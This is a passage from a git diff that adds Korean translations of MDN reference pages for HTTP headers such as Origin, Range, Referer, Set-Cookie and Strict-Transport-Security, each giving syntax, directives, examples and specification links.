아닌, 언제나 GMT로 표현합니다.</p> + </dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="기술_사양">기술 사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">기술 사양</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7232", "Last-Modified", "2.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Last-Modified")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("Etag")}}</li> +</ul> diff --git a/files/ko/web/http/headers/origin/index.html b/files/ko/web/http/headers/origin/index.html new file mode 100644 index 0000000000..403fb63450 --- /dev/null +++ b/files/ko/web/http/headers/origin/index.html @@ -0,0 +1,88 @@ +--- +title: Origin +slug: Web/HTTP/Headers/Origin +tags: + - HTTP + - Reference + - Request header + - header + - origin + - 헤더 +translation_of: Web/HTTP/Headers/Origin +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Origin</code></strong> request 헤더는 fetch가 시작되는 위치입니다. 경로 정보는 포함하지 않고 서버 이름만 포함합니다. {{HTTPMethod("POST")}} requests에 포함되는 것처럼, {{Glossary("CORS")}} requests 와 함께 전송합니다. {{HTTPHeader("Referer")}} 헤더와 비슷하지만, origin 헤더는 전체 경로를 공개하지 않습니다.</p> + +<div class="blockIndicator note"> +<p><strong>주의</strong>: {{HTTPMethod("HEAD")}} 와 {{HTTPMethod("GET")}} 메서드를 통해 <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">Fetch requests</a>를 사용할 때 {{httpheader("Origin")}} 헤더가 설정되지 않았습니다. (이 문제는 파이어폭스 65에서 수정되었습니다 — {{bug(1508661)}}참조).</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Origin: null +Origin: <scheme> "://" <hostname> [ ":" <port> ] +</pre> + +<h2 id="지시">지시</h2> + +<dl> + <dt><scheme></dt> + <dd>사용하는 프로토콜. 일반적으로 HTTP 프로토콜 혹은 보안 버전인 HTTPS를 사용합니다.</dd> + <dt><hostname></dt> + <dd>서버(가상 호스팅)의 이름 또는 IP 입니다.</dd> + <dt><port> {{optional_inline}}</dt> + <dd>서버와 연결을 맺기 위한 TCP 포트 번호. 포트번호를 입력하지 않으면, 요청한 서비스의 기본 포트(HTTP의 경우 "80")가 사용됩니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Origin: https://developer.mozilla.org</pre> + +<h2 id="명세서">명세서</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("6454", "Origin", "7")}}</td> + <td>The Web Origin Concept</td> + </tr> + <tr> + <td>{{SpecName('Fetch','#origin-header','Origin header')}}</td> + <td>Supplants the <code>Origin</code> header as defined in RFC6454.</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_적합성">브라우저 적합성</h2> + + + +<div>{{Compat("http.headers.Origin")}}</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Host")}}</li> + <li>{{HTTPHeader("Referer")}}</li> + <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li> +</ul> diff --git a/files/ko/web/http/headers/pragma/index.html b/files/ko/web/http/headers/pragma/index.html new file mode 100644 index 0000000000..28036125f0 --- /dev/null +++ b/files/ko/web/http/headers/pragma/index.html @@ -0,0 +1,84 @@ +--- +title: Pragma +slug: Web/HTTP/Headers/Pragma +tags: + - Deprecated + - HTTP + - 삭제됨 + - 요청 + - 캐싱 + - 헤더 +translation_of: Web/HTTP/Headers/Pragma +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP/1.0 의 <code><strong>Pragma</strong></code> 헤더는 요청-응답 체인에 다양한 영향을 줄 수 있는 구현관련 헤더이다. 이것은 HTTP/1.0 버전에서 HTTP/1.1 버전의 <code>Cache-Control</code> 헤더가 생기기 전 그것과 동일한 역할을 하는 대용 헤더로 사용되었다.</p> + +<div class="note"> +<p><strong>Note</strong>: <code>Pragma</code> 는 HTTP 응답에서 명시되지 않았던 헤더여서 일반적인 HTTP/1.1 의 <code>Cache-Control</code> 헤더의 신뢰할만한 대체재로 사용될수는 없다. 비록 그것이 응답에서 <code>Cache-Control</code> 헤더가 생략되었을 시, <code>Cache-Control: no-cache</code> 와 동일하게 효과를 주긴 하지만 말이다. <code>Pragma</code> 헤더는 HTTP/1.0 를 사용하는 클라이언트들만을 위한 비공식적인 호환성을 위해서 사용하는것이 옳다.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}, 그러나 응답 동작은 정해지지 않아서 구현 방식에 따른다.</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>아님</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>맞음</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Pragma: no-cache +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt>no-cache</dt> + <dd> + <p> <code>Cache-Control: no-cache</code> 와 같다. 캐시가 캐시 복사본을 릴리즈 하기전에 원격 서버로 요청을 날려 유효성 검사를 강제하도록 한다.</p> + </dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Pragma: no-cache</pre> + +<h2 id="세부사항">세부사항</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7234", "Pragma", "5.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">이 페이지의 호환성 테이블은 특정하게 구조화된 데이터를 기반으로 만들어졌다. 당신이 만일 이 데이터에 기여하고 싶다면 아래의 링크를 따라가 우리에게 Pull Request 를 보내면 된다.</p> + +<p class="hidden"><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a></p> + +<p>{{Compat("http.headers.Pragma")}}</p> + +<h2 id="그외_볼것들">그외 볼것들</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("Expires")}}</li> +</ul> diff --git a/files/ko/web/http/headers/range/index.html b/files/ko/web/http/headers/range/index.html new file mode 100644 index 0000000000..ec9ba33c81 --- /dev/null +++ b/files/ko/web/http/headers/range/index.html @@ -0,0 +1,84 @@ +--- +title: Range +slug: Web/HTTP/Headers/Range +tags: + - HTTP + - HTTP 헤더 + - 범위 요청 + - 요청 헤더 + - 참고사항 +translation_of: Web/HTTP/Headers/Range +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Range</code> </strong>HTTP 요청 헤더는 서버에게 문서의 일부분만 돌려주어야 한다는 것을 알려줍니다. <code>Range</code> 헤더를 통해 여러 부분을 한번에 요청할 수 있으며, 서버는 이러한 범위에 대해 문서의 여러 부분을 돌려보내줄 것입니다. 만약 서버가 돌려 보낸다면, {{HTTPStatus("206")}} <code>Partial Content</code>를 응답으로 사용할 것입니다. 만약 범위가 유효하지 않다면, 서버는 {{HTTPStatus("416")}} <code>Range Not Satisfiable</code> 에러를 보낼 것입니다. 또한 서버는 <code>Range</code> 헤더를 무시하고 {{HTTPStatus("200")}} 상태 코드와 함께 전체 문서를 돌려줄 수 있습니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">헤더 타입</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>아니오</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Range: <unit>=<range-start>- +Range: <unit>=<range-start>-<range-end> +Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end> +Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end>, <range-start>-<range-end></pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt><unit></dt> + <dd>범위를 결정하는 단위. 보통 <code>bytes</code>.</dd> +</dl> + +<dl> + <dt><range-start></dt> + <dd>범위 요청의 시작 지점을 알리는 단위를 뜻하는 정수.</dd> + <dt><range-end></dt> + <dd>요청한 범위의 끝을 알리는 단위를 의미하는 정수. 이 값은 옵션으로 사용할 수 있으며, 생략한다면 문서의 끝부분을 요청의 끝으로 사용함.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Range: bytes=200-1000, 2000-6576, 19000- +</pre> + +<h2 id="기술_사양">기술 사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">기술 사양</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7233", "Range", "3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Range")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Content-Range")}}</li> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPStatus("206")}} <code>Partial Content</code></li> + <li>{{HTTPStatus("416")}} <code>Range Not Satisfiable</code></li> +</ul> diff --git a/files/ko/web/http/headers/referer/index.html b/files/ko/web/http/headers/referer/index.html new file mode 100644 index 0000000000..9d66b4fa78 --- /dev/null +++ b/files/ko/web/http/headers/referer/index.html @@ -0,0 +1,79 @@ +--- +title: Referer +slug: Web/HTTP/Headers/Referer +translation_of: Web/HTTP/Headers/Referer +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Referer</strong></code> 요청 헤더는 현재 요청된 페이지의 링크 이전의 웹 페이지 주소를 포함합니다. <code>Referer</code> 헤더는 사람들이 어디로부터 와서 방문 중인지를 인식할 수 있도록 해주며 해당 데이터는 예를 들어, 분석, 로깅, 혹은 캐싱 최적화에 사용될 수도 있습니다.</p> + +<p>referer는 실제로 단어 "referrer"에서 철자를 빼먹은 것입니다. 자세한 내용은 {{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}을 참고하세요.</p> + +<div class="warning"> +<p><code>Referer</code> 헤더는 사생활과 관련된 브라우징 히스토리에 관한 정보를 노출할 가능성이 있습니다.</p> +</div> + +<p><code>Referer</code> 헤더는 다음과 같은 경우 브라우저에 의해 전송되지 않습니다:</p> + +<ul> + <li>참조되는 리소스가 로컬 "파일" 혹은 "데이터"의 URI인 경우,</li> + <li> + <p>안전하지 않은 HTTP 요청이 사용되고 참조 페이지가 보안 프로토콜(HTTPS)로 수신된 경우.</p> + </li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Referer: <url> +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><url></dt> + <dd>현재 요청된 페이지의 링크 이전의 웹 페이지의 절대 혹은 부분 주소. URL 프래그먼트(예를 들어, "#section")는 포함되지 않습니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Referer: https://developer.mozilla.org/en-US/docs/Web/JavaScript</pre> + +<h2 id="명세서">명세서</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "Referer", "5.5.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Referer")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li> +</ul> diff --git a/files/ko/web/http/headers/retry-after/index.html b/files/ko/web/http/headers/retry-after/index.html new file mode 100644 index 0000000000..111031be3b --- /dev/null +++ b/files/ko/web/http/headers/retry-after/index.html @@ -0,0 +1,80 @@ +--- +title: Retry-After +slug: Web/HTTP/Headers/Retry-After +translation_of: Web/HTTP/Headers/Retry-After +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Retry-After</code></strong> 응답 HTTP 헤더는 다음에 올 요청이 이루어지기 전에 사용자 에이전트가 대기해야 하는 시간을 가르킵니다. 이 헤더가 사용되는 주요한 두 가지 경우가 있습니다:</p> + +<ul> + <li>{{HTTPStatus(503)}} (Service Unavailable) 응답이 전송된 경우, 서비스가 얼마나 오랫동안 이용 불가능한지 예측되는 시간을 가르킵니다.</li> + <li>{{HTTPStatus(301)}} (Moved Permanently)와 같은, 리다이렉트 응답이 전송된 경우, 리다이렉트 요청을 하기 이전에 사용자 에이전트가 대기해주길 원하는 최소한의 시간을 가르킵니다.</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Retry-After: <http-date> +Retry-After: <delay-seconds> +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><http-date></dt> + <dd>해당 시간 이후 재시도하도록 합니다. HTTP 날짜 포맷에 과한 더 자세한 내용은 {{HTTPHeader("Date")}} 헤더를 참고하시기 바랍니다.</dd> + <dt><delay-seconds></dt> + <dd>응답이 수신된 이후 지연시키기 위한 초를 가르키는 음수를 불허하는 10진수 정수값입니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<h3 id="예정된_다운타임_다루기">예정된 다운타임 다루기</h3> + +<p>클라이언트와 서버 양측의 <code>Retry-After</code> 헤더 지원은 여전히 부조화스럽습니다. 하지만, Googlebot과 같은, 어떤 크롤러와 스파이더들은 <code>Retry-After</code> 헤더를 지킵니다. 검색 엔진이 다운타임이 경과한 경우 당신의 사이트에 대한 인덱싱을 유지할 것이기에, {{HTTPStatus(503)}} (Service Unavailable) 응답에서 해당 헤더를 함께 보내는 것은 유용합니다.</p> + +<pre>Retry-After: Wed, 21 Oct 2015 07:28:00 GMT +Retry-After: 120 +</pre> + +<h2 id="명세서">명세서</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "Retry-After", "7.1.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li><a href="https://webmasters.googleblog.com/2011/01/how-to-deal-with-planned-site-downtime.html">Google Webmaster blog: How to deal with planned site downtime</a></li> + <li>{{HTTPStatus(503)}} (Service Unavailable)</li> + <li>{{HTTPStatus(301)}} (Moved Permanently)</li> +</ul> diff --git a/files/ko/web/http/headers/server/index.html b/files/ko/web/http/headers/server/index.html new file mode 100644 index 0000000000..b1271dd3b2 --- /dev/null +++ b/files/ko/web/http/headers/server/index.html @@ -0,0 +1,70 @@ +--- +title: Server +slug: Web/HTTP/Headers/Server +tags: + - HTTP + - 참고자료 + - 헤더 +translation_of: Web/HTTP/Headers/Server +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Server</strong></code> 헤더는 요청을 처리하기 위한 원(origin, 原) 서버의 소프트웨어 정보를 포함하고 있습니다.</p> + +<p>너무 길고 상세한 서버의 정보는 잠재적으로 내부 구현과 상세 정보를 이용하여 잠재적으로 공격을 받을 수 있기 때문에 피해야 합니다. 공격자들은 (약간) 쉽게 알려진 보안상의 문제점을 찾고 터트릴 수 있습니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">헤더 타입</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>아니오</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Server: <product> +</pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt><product></dt> + <dd>요청을 처리하는 소프트웨어 혹은 하위 제품의 이름</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Server: Apache/2.4.1 (Unix)</pre> + +<h2 id="기술_사양">기술 사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">기술 사양</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "Server", "7.4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Server")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Allow")}}</li> +</ul> diff --git a/files/ko/web/http/headers/set-cookie/index.html b/files/ko/web/http/headers/set-cookie/index.html new file mode 100644 index 0000000000..27ffb134fb --- /dev/null +++ b/files/ko/web/http/headers/set-cookie/index.html @@ -0,0 +1,161 @@ +--- +title: Set-Cookie +slug: Web/HTTP/Headers/Set-Cookie +tags: + - HTTP + - 레퍼런스 + - 응답 + - 쿠키 + - 헤더 +translation_of: Web/HTTP/Headers/Set-Cookie +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Set-Cookie</code></strong> HTTP 응답 헤더는 서버에서 사용자 브라우저에 쿠키를 전송하기 위해 사용됩니다.</p> + +<p>자세한 정보를 보려면 <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>에 수록된 가이드를 읽으세요.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Set-Cookie: <cookie-name>=<cookie-value> +Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> +Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> +Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> +Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value> +Set-Cookie: <cookie-name>=<cookie-value>; Secure +Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly + +Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict +Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax + +// Multiple directives are also possible, for example: +Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><code><cookie-name>=<cookie-value></code></dt> + <dd>쿠키는 "이름-값" 페어로 시작됩니다. + <ul> + <li><code><cookie-name></code> 는 제어 문자 및 공백, 탭(\t)를 제외한 아스키 문자로 구성되어야 합니다. 또한, "( ) < > @ , ; : \ " / [ ] ? = { }" 같은 문자도 포함할 수 없습니다.</li> + <li>A <code><cookie-value></code> 는 필요하다면 쌍 따운표로 묶여질 수 있고 아스키 코드 문자로 구성되어야 하고, <code><cookie-name></code>처럼 제어 문자, 공백, 쌍 따운표, 콤마, 세미콜론, 역 슬래쉬(\)는 사용할 수 없습니다. <strong>엔코딩</strong>: 쿠기 값에 대해서 URL 엔코딩을 사용하는 구현 기법들이 많지만, RFC 명세에서 요구하는 것은 아닙니다. 단지, <cookie-value>에 허용된 문자에 대한 요구사항을 만족시킬 뿐이죠.</li> + <li><strong><code>__Secure-</code> 프리픽스</strong>:<code> __Secure-</code> (대쉬는 프리픽스의 일부입니다)로 시작되는 쿠키 이름은 반드시 <code>secure</code> 플래그가 설정되어야 하고, 보안 페이지(HTTPS)여야 합니다.</li> + <li><strong><code>__Host-</code> 프리픽스</strong>: <code>__Host-</code> 로 시작되는 쿠키들은 <code>secure</code> 플래그가 설정되어야 하며, 마찬가지로 보안 페이지(HTTPS)여야 하고, 도메인이 지정되지 않아야 합니다. (따라서 서브 도메인에 쿠키를 공유할 수 없습니다) 그리고, 경로는 반드시 "/"여야 합니다.</li> + </ul> + </dd> + <dt>Expires=<date> {{optional_inline}}</dt> + <dd> + <p>HTTP 타임스템프로 기록된 쿠키의 최대 생존 시간(수명). 세부 형태를 확인하려면 {{HTTPHeader("Date")}}를 참조하세요. 지정되지 않았다면, <strong>세션 쿠키</strong>로서 취급되며, 클라이언트가 종료될 때 파기 됩니다. 그러나 많은 웹 브라우져에서 세션이라고 불리는 기능(그러니까 모든 탭을 기억했다가 브라우져를 다시 켜면 복구된다던지 하는 기능)을 구현합니다. 쿠키들 또한 함께 복원되므로, 정확히 말해서 브라우져를 닫은 적이 없는 게 되는 것이죠.</p> + + <p>만료 시간이 지정되면, 시간 및 날자로 이뤄진 값은 서버가 아니라 클라이언트에 상대적인 값으로 취급됩니다.</p> + </dd> + <dt>Max-Age=<number> {{optional_inline}}</dt> + <dd>쿠키가 만료될 때 까지의 시간 (초 단위). 0 또는 음수가 지정되면 해당 쿠키는 즉시 만료되며, 오래된 브라우저(ie6, ie7 그리고 ie8)은 이 헤더를 지원하지 않습니다. 다른 브라우저들은 둘 다(<code>Expires</code> 와 <code>Max-Age)</code> 지정되었을 때 <code>Max-Age</code> 값을 더 우선시합니다.</dd> + <dt>Domain=<domain-value> {{optional_inline}}</dt> + <dd>쿠키가 적용되어야 하는 호스트를 지정. 지정되어 있지 않으면 현재 문서 URI를 기준으로 적용됩니다만, 서브 도메인을 포함하지 않습니다. 이전의 설계와 달리, 도메인의 선두에 위치한 점들은 무시됩니다. 도메인이 지정되면, 서브도메인들은 항상 포함됩니다.</dd> + <dt>Path=<path-value> {{optional_inline}}</dt> + <dd>쿠키 헤더를 보내기 전에 요청 된 리소스에 있어야하는 URL 경로를 나타냅니다. % x2F ( "/") 문자는 디렉토리 구분 기호로 해석되며 하위 디렉토리도 일치합니다 (예: path=/docs, "/docs", "/docs/Web/"또는 "/docs/Web/HTTP "가 모두 일치합니다).</dd> + <dt>Secure {{optional_inline}}</dt> + <dd>보안 쿠키들은 서버에서 요청이 SSL을 사용하며, HTTPS 프로토콜을 사용할 때에만 전송됩니다. 그러나 기밀 정보나 민감한 정보들은 HTTP 쿠키에 보관되거나 그걸로 전송되어선 안됩니다. 왜냐하면, 그 전체 메커니즘이 본질적으로 보안이 결여되어 있고, 거기 들어있는 어떤 정보도 암호화되지 않기 때문입니다. + <p class="note"><strong>노트:</strong> 비 보안 사이트(<code>http:</code>)들은 "보안" 쿠키를 더이상 설정할 수 없습니다(Chrome 52+ 및 Firefox 52+).</p> + </dd> + <dt>HttpOnly {{optional_inline}}</dt> + <dd>HTTP-only cookies aren't accessible via JavaScript through the property, the {{domxref("XMLHttpRequest")}} and {{domxref("Request")}} APIs to mitigate attacks against cross-site scripting ({{Glossary("XSS")}}).</dd> + <dt>SameSite=Strict<br> + SameSite=Lax {{optional_inline}} {{experimental_inline}}</dt> + <dd> + <p>Allows servers to assert that a cookie ought not to be sent along with cross-site requests, which provides some protection against cross-site request forgery attacks ({{Glossary("CSRF")}}).</p> + </dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<h3 id="Session_cookie">Session cookie</h3> + +<p>Session cookies will get removed when the client is shut down. They don't specify the <code>Expires</code> or <code>Max-Age</code> directives. Note that web browser have often enabled session restoring.</p> + +<pre>Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/</pre> + +<h3 id="Permanent_cookie">Permanent cookie</h3> + +<p>Instead of expiring when the client is closed, permanent cookies expire at a specific date (<code>Expires</code>) or after a specific length of time (<code>Max-Age</code>).</p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly +</pre> + +<h3 id="Invalid_domains">Invalid domains</h3> + +<p>A cookie belonging to a domain that does not include the origin server <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">should be rejected by the user agent</a>. The following cookie will be rejected if it was set by a server hosted on originalcompany.com.</p> + +<pre>Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre> + +<h3 id="Cookie_prefixes">Cookie prefixes</h3> + +<p>Cookies names with the prefixes <code>__Secure-</code> and <code>__Host-</code> can be used only if they are set with the <code>secure</code> directive from a secure (HTTPS) origin. In addition, cookies with the <code>__Host-</code> prefix must have a path of "/" (the entire host) and must not have a domain attribute. For clients that don't implement cookie prefixes, you cannot count on having these additional assurances and the cookies will always be accepted.</p> + +<pre>// Both accepted when from a secure origin (HTTPS) +Set-Cookie: __Secure-ID=123; Secure; Domain=example.com +Set-Cookie: __Host-ID=123; Secure; Path=/ + +// Rejected due to missing Secure directive +Set-Cookie: __Secure-id=1 + +// Rejected due to the missing Path=/ directive +Set-Cookie: __Host-id=1; Secure + +// Rejected due to setting a domain +Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td> + <td>HTTP State Management Mechanism</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-02">draft-ietf-httpbis-rfc6265bis-02</a></td> + <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Set-Cookie")}}</p> + +<h2 id="Compatibility_notes">Compatibility notes</h2> + +<ul> + <li>Starting with Chrome 52 and Firefox 52, insecure sites (<code>http:</code>) can't set cookies with the "secure" directive anymore.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/ko/web/http/headers/strict-transport-security/index.html b/files/ko/web/http/headers/strict-transport-security/index.html new file mode 100644 index 0000000000..d80533e014 --- /dev/null +++ b/files/ko/web/http/headers/strict-transport-security/index.html @@ -0,0 +1,108 @@ +--- +title: Strict-Transport-Security +slug: Web/HTTP/Headers/Strict-Transport-Security +translation_of: Web/HTTP/Headers/Strict-Transport-Security +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP <code>Strict-Transport-Security</code></strong> response header (종종 {{Glossary("HSTS")}} 로 약칭) 는 HTTP 대신 HTTPS만을 사용하여 통신해야한다고 웹사이트가 브라우저에 알리는 보안 기능.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">Strict-Transport-Security: max-age=<expire-time> +Strict-Transport-Security: max-age=<expire-time>; includeSubDomains +Strict-Transport-Security: max-age=<expire-time>; preload +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code>max-age=<expire-time></code></dt> + <dd>이 사이트가 HTTPS 로만 접근되어야 한다고 기억되어야 하는 시간(초).</dd> + <dt><code>includeSubDomains</code> {{optional_inline}}</dt> + <dd>이 옵션이 적용되면, 이 사이트의 모든 서브도메인에 규칙이 적용된다는 것을 의미한다.</dd> + <dt><code>preload</code> {{optional_inline}}</dt> + <dd>자세한 내용은 다음 {{anch("Preloading Strict Transport Security")}} 을 참고.</dd> +</dl> + +<h2 id="Description">Description</h2> + 